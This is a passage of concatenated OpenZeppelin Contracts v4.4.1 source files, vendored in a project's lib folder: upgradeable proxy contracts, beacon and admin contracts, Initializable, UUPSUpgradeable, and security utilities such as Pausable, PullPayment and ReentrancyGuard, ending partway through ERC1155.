Most of the proxies below are built on an abstract base contract.
- {Proxy}: Abstract contract implementing the core delegation functionality.
In order to avoid clashes with the storage variables of the implementation contract behind a proxy, we use https://eips.ethereum.org/EIPS/eip-1967[EIP1967] storage slots.
- {ERC1967Upgrade}: Internal functions to get and set the storage slots defined in EIP1967.
- {ERC1967Proxy}: A proxy using EIP1967 storage slots. Not upgradeable by default.
There are two alternative ways to add upgradeability to an ERC1967 proxy. Their differences are explained below in <>.
- {TransparentUpgradeableProxy}: A proxy with a built in admin and upgrade interface.
- {UUPSUpgradeable}: An upgradeability mechanism to be included in the implementation for an ERC1967 proxy.
CAUTION: Using upgradeable proxies correctly and securely is a difficult task that requires deep knowledge of the proxy pattern, Solidity, and the EVM. Unless you want a lot of low level control, we recommend using the xref:upgrades-plugins::index.adoc[OpenZeppelin Upgrades Plugins] for Truffle and Hardhat.
A different family of proxies are beacon proxies. This pattern, popularized by Dharma, allows multiple proxies to be upgraded to a different implementation in a single transaction.
- {BeaconProxy}: A proxy that retreives its implementation from a beacon contract.
- {UpgradeableBeacon}: A beacon contract that can be upgraded.
In this pattern, the proxy contract doesn't hold the implementation address in storage like an ERC1967 proxy, instead the address is stored in a separate beacon contract. The `upgrade` operations that are sent to the beacon instead of to the proxy contract, and all proxies that follow that beacon are automatically upgraded.
Outside the realm of upgradeability, proxies can also be useful to make cheap contract clones, such as those created by an on-chain factory contract that creates many instances of the same contract. These instances are designed to be both cheap to deploy, and cheap to call.
- {Clones}: A library that can deploy cheap minimal non-upgradeable proxies.
[[transparent-vs-uups]]
== Transparent vs UUPS Proxies
The original proxies included in OpenZeppelin followed the https://blog.openzeppelin.com/the-transparent-proxy-pattern/[Transparent Proxy Pattern]. While this pattern is still provided, our recommendation is now shifting towards UUPS proxies, which are both lightweight and versatile. The name UUPS comes from https://eips.ethereum.org/EIPS/eip-1822[EIP1822], which first documented the pattern.
While both of these share the same interface for upgrades, in UUPS proxies the upgrade is handled by the implementation, and can eventually be removed. Transparent proxies, on the other hand, include the upgrade and admin logic in the proxy itself. This means {TransparentUpgradeableProxy} is more expensive to deploy than what is possible with UUPS proxies.
UUPS proxies are implemented using an {ERC1967Proxy}. Note that this proxy is not by itself upgradeable. It is the role of the implementation to include, alongside the contract's logic, all the code necessary to update the implementation's address that is stored at a specific slot in the proxy's storage space. This is where the {UUPSUpgradeable} contract comes in. Inheriting from it (and overriding the {xref-UUPSUpgradeable-_authorizeUpgrade-address-}[`_authorizeUpgrade`] function with the relevant access control mechanism) will turn your contract into a UUPS compliant implementation.
Note that since both proxies use the same storage slot for the implementation address, using a UUPS compliant implementation with a {TransparentUpgradeableProxy} might allow non-admins to perform upgrade operations.
By default, the upgrade functionality included in {UUPSUpgradeable} contains a security mechanism that will prevent any upgrades to a non UUPS compliant implementation. This prevents upgrades to an implementation contract that wouldn't contain the necessary upgrade mechanism, as it would lock the upgradeability of the proxy forever. This security mechanism can be bypassed by either of:
- Adding a flag mechanism in the implementation that will disable the upgrade function when triggered.
- Upgrading to an implementation that features an upgrade mechanism without the additional security check, and then upgrading again to another implementation without the upgrade mechanism.
== Core
{{Proxy}}
== ERC1967
{{ERC1967Proxy}}
{{ERC1967Upgrade}}
== Transparent Proxy
{{TransparentUpgradeableProxy}}
{{ProxyAdmin}}
== Beacon
{{BeaconProxy}}
{{IBeacon}}
{{UpgradeableBeacon}}
== Minimal Clones
{{Clones}}
== Utils
{{Initializable}}
{{UUPSUpgradeable}}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/proxy/beacon/BeaconProxy.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/beacon/BeaconProxy.sol)
pragma solidity ^0.8.0;
import "./IBeacon.sol";
import "../Proxy.sol";
import "../ERC1967/ERC1967Upgrade.sol";
/**
* @dev This contract implements a proxy that gets the implementation address for each call from a {UpgradeableBeacon}.
*
* The beacon address is stored in storage slot `uint256(keccak256('eip1967.proxy.beacon')) - 1`, so that it doesn't
* conflict with the storage layout of the implementation behind the proxy.
*
* _Available since v3.4._
*/
contract BeaconProxy is Proxy, ERC1967Upgrade {
/**
* @dev Initializes the proxy with `beacon`.
*
* If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon. This
* will typically be an encoded function call, and allows initializating the storage of the proxy like a Solidity
* constructor.
*
* Requirements:
*
* - `beacon` must be a contract with the interface {IBeacon}.
*/
constructor(address beacon, bytes memory data) payable {
assert(_BEACON_SLOT == bytes32(uint256(keccak256("eip1967.proxy.beacon")) - 1));
_upgradeBeaconToAndCall(beacon, data, false);
}
/**
* @dev Returns the current beacon address.
*/
function _beacon() internal view virtual returns (address) {
return _getBeacon();
}
/**
* @dev Returns the current implementation address of the associated beacon.
*/
function _implementation() internal view virtual override returns (address) {
return IBeacon(_getBeacon()).implementation();
}
/**
* @dev Changes the proxy to use a new beacon. Deprecated: see {_upgradeBeaconToAndCall}.
*
* If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon.
*
* Requirements:
*
* - `beacon` must be a contract.
* - The implementation returned by `beacon` must be a contract.
*/
function _setBeacon(address beacon, bytes memory data) internal virtual {
_upgradeBeaconToAndCall(beacon, data, false);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/proxy/beacon/IBeacon.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)
pragma solidity ^0.8.0;
/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeacon {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
function implementation() external view returns (address);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/proxy/beacon/UpgradeableBeacon.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/beacon/UpgradeableBeacon.sol)
pragma solidity ^0.8.0;
import "./IBeacon.sol";
import "../../access/Ownable.sol";
import "../../utils/Address.sol";
/**
* @dev This contract is used in conjunction with one or more instances of {BeaconProxy} to determine their
* implementation contract, which is where they will delegate all function calls.
*
* An owner is able to change the implementation the beacon points to, thus upgrading the proxies that use this beacon.
*/
contract UpgradeableBeacon is IBeacon, Ownable {
address private _implementation;
/**
* @dev Emitted when the implementation returned by the beacon is changed.
*/
event Upgraded(address indexed implementation);
/**
* @dev Sets the address of the initial implementation, and the deployer account as the owner who can upgrade the
* beacon.
*/
constructor(address implementation_) {
_setImplementation(implementation_);
}
/**
* @dev Returns the current implementation address.
*/
function implementation() public view virtual override returns (address) {
return _implementation;
}
/**
* @dev Upgrades the beacon to a new implementation.
*
* Emits an {Upgraded} event.
*
* Requirements:
*
* - msg.sender must be the owner of the contract.
* - `newImplementation` must be a contract.
*/
function upgradeTo(address newImplementation) public virtual onlyOwner {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation contract address for this beacon
*
* Requirements:
*
* - `newImplementation` must be a contract.
*/
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "UpgradeableBeacon: implementation is not a contract");
_implementation = newImplementation;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/proxy/transparent/ProxyAdmin.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/transparent/ProxyAdmin.sol)
pragma solidity ^0.8.0;
import "./TransparentUpgradeableProxy.sol";
import "../../access/Ownable.sol";
/**
* @dev This is an auxiliary contract meant to be assigned as the admin of a {TransparentUpgradeableProxy}. For an
* explanation of why you would want to use this see the documentation for {TransparentUpgradeableProxy}.
*/
contract ProxyAdmin is Ownable {
/**
* @dev Returns the current implementation of `proxy`.
*
* Requirements:
*
* - This contract must be the admin of `proxy`.
*/
function getProxyImplementation(TransparentUpgradeableProxy proxy) public view virtual returns (address) {
// We need to manually run the static call since the getter cannot be flagged as view
// bytes4(keccak256("implementation()")) == 0x5c60da1b
(bool success, bytes memory returndata) = address(proxy).staticcall(hex"5c60da1b");
require(success);
return abi.decode(returndata, (address));
}
/**
* @dev Returns the current admin of `proxy`.
*
* Requirements:
*
* - This contract must be the admin of `proxy`.
*/
function getProxyAdmin(TransparentUpgradeableProxy proxy) public view virtual returns (address) {
// We need to manually run the static call since the getter cannot be flagged as view
// bytes4(keccak256("admin()")) == 0xf851a440
(bool success, bytes memory returndata) = address(proxy).staticcall(hex"f851a440");
require(success);
return abi.decode(returndata, (address));
}
/**
* @dev Changes the admin of `proxy` to `newAdmin`.
*
* Requirements:
*
* - This contract must be the current admin of `proxy`.
*/
function changeProxyAdmin(TransparentUpgradeableProxy proxy, address newAdmin) public virtual onlyOwner {
proxy.changeAdmin(newAdmin);
}
/**
* @dev Upgrades `proxy` to `implementation`. See {TransparentUpgradeableProxy-upgradeTo}.
*
* Requirements:
*
* - This contract must be the admin of `proxy`.
*/
function upgrade(TransparentUpgradeableProxy proxy, address implementation) public virtual onlyOwner {
proxy.upgradeTo(implementation);
}
/**
* @dev Upgrades `proxy` to `implementation` and calls a function on the new implementation. See
* {TransparentUpgradeableProxy-upgradeToAndCall}.
*
* Requirements:
*
* - This contract must be the admin of `proxy`.
*/
function upgradeAndCall(
TransparentUpgradeableProxy proxy,
address implementation,
bytes memory data
) public payable virtual onlyOwner {
proxy.upgradeToAndCall{value: msg.value}(implementation, data);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/proxy/transparent/TransparentUpgradeableProxy.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/transparent/TransparentUpgradeableProxy.sol)
pragma solidity ^0.8.0;
import "../ERC1967/ERC1967Proxy.sol";
/**
* @dev This contract implements a proxy that is upgradeable by an admin.
*
* To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector
* clashing], which can potentially be used in an attack, this contract uses the
* https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two
* things that go hand in hand:
*
* 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if
* that call matches one of the admin functions exposed by the proxy itself.
* 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the
* implementation. If the admin tries to call a function on the implementation it will fail with an error that says
* "admin cannot fallback to proxy target".
*
* These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing
* the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due
* to sudden errors when trying to call a function from the proxy implementation.
*
* Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way,
* you should think of the `ProxyAdmin` instance as the real administrative interface of your proxy.
*/
contract TransparentUpgradeableProxy is ERC1967Proxy {
/**
* @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and
* optionally initialized with `_data` as explained in {ERC1967Proxy-constructor}.
*/
constructor(
address _logic,
address admin_,
bytes memory _data
) payable ERC1967Proxy(_logic, _data) {
assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_changeAdmin(admin_);
}
/**
* @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin.
*/
modifier ifAdmin() {
if (msg.sender == _getAdmin()) {
_;
} else {
_fallback();
}
}
/**
* @dev Returns the current admin.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103`
*/
function admin() external ifAdmin returns (address admin_) {
admin_ = _getAdmin();
}
/**
* @dev Returns the current implementation.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc`
*/
function implementation() external ifAdmin returns (address implementation_) {
implementation_ = _implementation();
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}.
*/
function changeAdmin(address newAdmin) external virtual ifAdmin {
_changeAdmin(newAdmin);
}
/**
* @dev Upgrade the implementation of the proxy.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeToAndCall(newImplementation, bytes(""), false);
}
/**
* @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified
* by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the
* proxied contract.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
_upgradeToAndCall(newImplementation, data, true);
}
/**
* @dev Returns the current admin.
*/
function _admin() internal view virtual returns (address) {
return _getAdmin();
}
/**
* @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}.
*/
function _beforeFallback() internal virtual override {
require(msg.sender != _getAdmin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target");
super._beforeFallback();
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/proxy/utils/Initializable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/utils/Initializable.sol)
pragma solidity ^0.8.0;
import "../../utils/Address.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
// If the contract is initializing we ignore whether _initialized is set in order to support multiple
// inheritance patterns, but we only do this in the context of a constructor, because in other contexts the
// contract may have been reentered.
require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/**
* @dev Modifier to protect an initialization function so that it can only be invoked by functions with the
* {initializer} modifier, directly or indirectly.
*/
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _isConstructor() private view returns (bool) {
return !Address.isContract(address(this));
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/proxy/utils/UUPSUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/utils/UUPSUpgradeable.sol)
pragma solidity ^0.8.0;
import "../ERC1967/ERC1967Upgrade.sol";
/**
* @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an
* {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy.
*
* A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is
* reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing
* `UUPSUpgradeable` with a custom implementation of upgrades.
*
* The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism.
*
* _Available since v4.1._
*/
abstract contract UUPSUpgradeable is ERC1967Upgrade {
/// @custom:oz-upgrades-unsafe-allow state-variable-immutable state-variable-assignment
address private immutable __self = address(this);
/**
* @dev Check that the execution is being performed through a delegatecall call and that the execution context is
* a proxy contract with an implementation (as defined in ERC1967) pointing to self. This should only be the case
* for UUPS and transparent proxies that are using the current contract as their implementation. Execution of a
* function through ERC1167 minimal proxies (clones) would not normally pass this test, but is not guaranteed to
* fail.
*/
modifier onlyProxy() {
require(address(this) != __self, "Function must be called through delegatecall");
require(_getImplementation() == __self, "Function must be called through active proxy");
_;
}
/**
* @dev Upgrade the implementation of the proxy to `newImplementation`.
*
* Calls {_authorizeUpgrade}.
*
* Emits an {Upgraded} event.
*/
function upgradeTo(address newImplementation) external virtual onlyProxy {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallSecure(newImplementation, new bytes(0), false);
}
/**
* @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call
* encoded in `data`.
*
* Calls {_authorizeUpgrade}.
*
* Emits an {Upgraded} event.
*/
function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual onlyProxy {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallSecure(newImplementation, data, true);
}
/**
* @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by
* {upgradeTo} and {upgradeToAndCall}.
*
* Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}.
*
* ```solidity
* function _authorizeUpgrade(address) internal override onlyOwner {}
* ```
*/
function _authorizeUpgrade(address newImplementation) internal virtual;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/security/Pausable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/security/PullPayment.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/PullPayment.sol)
pragma solidity ^0.8.0;
import "../utils/escrow/Escrow.sol";
/**
* @dev Simple implementation of a
* https://consensys.github.io/smart-contract-best-practices/recommendations/#favor-pull-over-push-for-external-calls[pull-payment]
* strategy, where the paying contract doesn't interact directly with the
* receiver account, which must withdraw its payments itself.
*
* Pull-payments are often considered the best practice when it comes to sending
* Ether, security-wise. It prevents recipients from blocking execution, and
* eliminates reentrancy concerns.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*
* To use, derive from the `PullPayment` contract, and use {_asyncTransfer}
* instead of Solidity's `transfer` function. Payees can query their due
* payments with {payments}, and retrieve them with {withdrawPayments}.
*/
abstract contract PullPayment {
Escrow private immutable _escrow;
constructor() {
_escrow = new Escrow();
}
/**
* @dev Withdraw accumulated payments, forwarding all gas to the recipient.
*
* Note that _any_ account can call this function, not just the `payee`.
* This means that contracts unaware of the `PullPayment` protocol can still
* receive funds this way, by having a separate account call
* {withdrawPayments}.
*
* WARNING: Forwarding all gas opens the door to reentrancy vulnerabilities.
* Make sure you trust the recipient, or are either following the
* checks-effects-interactions pattern or using {ReentrancyGuard}.
*
* @param payee Whose payments will be withdrawn.
*/
function withdrawPayments(address payable payee) public virtual {
_escrow.withdraw(payee);
}
/**
* @dev Returns the payments owed to an address.
* @param dest The creditor's address.
*/
function payments(address dest) public view returns (uint256) {
return _escrow.depositsOf(dest);
}
/**
* @dev Called by the payer to store the sent amount as credit to be pulled.
* Funds sent in this way are stored in an intermediate {Escrow} contract, so
* there is no danger of them being spent before withdrawal.
*
* @param dest The destination address of the funds.
* @param amount The amount to transfer.
*/
function _asyncTransfer(address dest, uint256 amount) internal virtual {
_escrow.deposit{value: amount}(dest);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/security/README.adoc
================================================
= Security
[.readme-notice]
NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/security
These contracts aim to cover common security practices.
* {PullPayment}: A pattern that can be used to avoid reentrancy attacks.
* {ReentrancyGuard}: A modifier that can prevent reentrancy during certain functions.
* {Pausable}: A common emergency response mechanism that can pause functionality while a remediation is pending.
TIP: For an overview on reentrancy and the possible mechanisms to prevent it, read our article https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
== Contracts
{{PullPayment}}
{{ReentrancyGuard}}
{{Pausable}}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/security/ReentrancyGuard.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/token/ERC1155/ERC1155.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/ERC1155.sol)
pragma solidity ^0.8.0;
import "./IERC1155.sol";
import "./IERC1155Receiver.sol";
import "./extensions/IERC1155MetadataURI.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using Address for address;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string private _uri;
/**
* @dev See {_setURI}.
*/
constructor(string memory uri_) {
_setURI(uri_);
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC1155).interfaceId ||
interfaceId == type(IERC1155MetadataURI).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256) public view virtual override returns (string memory) {
return _uri;
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_safeTransferFrom(from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
